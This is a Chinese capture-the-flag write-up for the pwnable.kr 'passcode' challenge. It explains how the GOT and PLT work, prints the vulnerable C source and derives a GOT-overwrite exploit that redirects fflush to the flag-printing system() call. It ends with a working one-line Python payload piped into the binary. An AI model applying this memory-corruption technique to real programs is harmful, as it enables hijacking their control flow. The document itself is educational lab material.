本文主要是介绍pwnable 笔记 Toddler's Bottle - passcode,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
注:
这题涉及到了GOT覆写技术,我更新了一篇讲GOT覆写的文章,以这道题做的例子,讲的比较详细,大家可以参考一下:
http://blog.csdn.net/smalosnail/article/details/53247502
-----------------------------------------------------------------------------------------------------------------------------------------------------
这题拿到的时候根本找不到思路,哎,基础知识不够。于是补充了一下Linux关于GOT和PLT的知识
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table )中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。
PLT表:
过程连接表(Procedure LinkageTable),一个PLT条目对应一个GOT条目
当main函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
GOT覆写技术:
原理:由于got表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
以上姿势来源: http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
知识补充完毕,开始看题目
登录服务器后get题目源码如下:
#include <stdio.h>
#include <stdlib.h>void login(){int passcode1;int passcode2;printf("enter passcode1 : ");scanf("%d", passcode1);fflush(stdin);// ha! mommy told me that 32bit is vulnerable to bruteforcing :)printf("enter passcode2 : ");scanf("%d", passcode2);printf("checking...\n");if(passcode1==338150 && passcode2==13371337){printf("Login OK!\n");system("/bin/cat flag");}else{printf("Login Failed!\n");exit(0);}
}void welcome(){char name[100];printf("enter you name : ");scanf("%100s", name);printf("Welcome %s!\n", name);
}int main(){printf("Toddler's Secure Login System 1.0 beta.\n");welcome();login();// something after login...printf("Now I can safely trust you that you have credential :)\n");return 0;
}
思路:
看完源代码,发现只要 passcode1==338150 && passcode2==13371337就可以拿到flag,但是login()函数中的scanf("%d", passcode1);没有加&,没有办法把338150和13371337直接输入进去。但由于scanf没加&时会从栈中读取4个字节当scanf取的地址,并把scanf后输入的的内容存到那里,于是我们可以修改栈中的数据,写一个任意4字节的地址进去,来充当scanf取的地址。于是可以利用前面提到的GOT覆写技术,用一个GOT表中的函数地址来充当scanf取的地址,然后把system("/bin/cat flag")这条指令的地址通过scanf写到这个函数中,当这个函数被调用时,就会直接跳到system("/bin/cat flag")
有了思路做起来就轻松多了,首先查看一下GOT表中都有哪些函数
$ readelf -r ./passcode
看到了printf, fflush,exit 并且找到了system函数的偏移量,之后就是要确定变量name和passcode1,passcode2的位置。
$ objdump -d ./passcode
找到name位于ebp-0x70,passcode1位于ebp-0x10,passcode2位于ebp-0xc
,name与passcode1之间隔了0x70-0x10=96个字节,用fflush()的地址覆盖passcode1后,scanf("%d",&fflush())将会把之后的输入写入到GOT表中,于是把login()中system("/bin/cat flag")的地址转换成十进制写进去,当程序调用fflush()的时候就会执行system()
$ python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514147\n'" | ./passcode
这篇关于pwnable 笔记 Toddler's Bottle - passcode的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!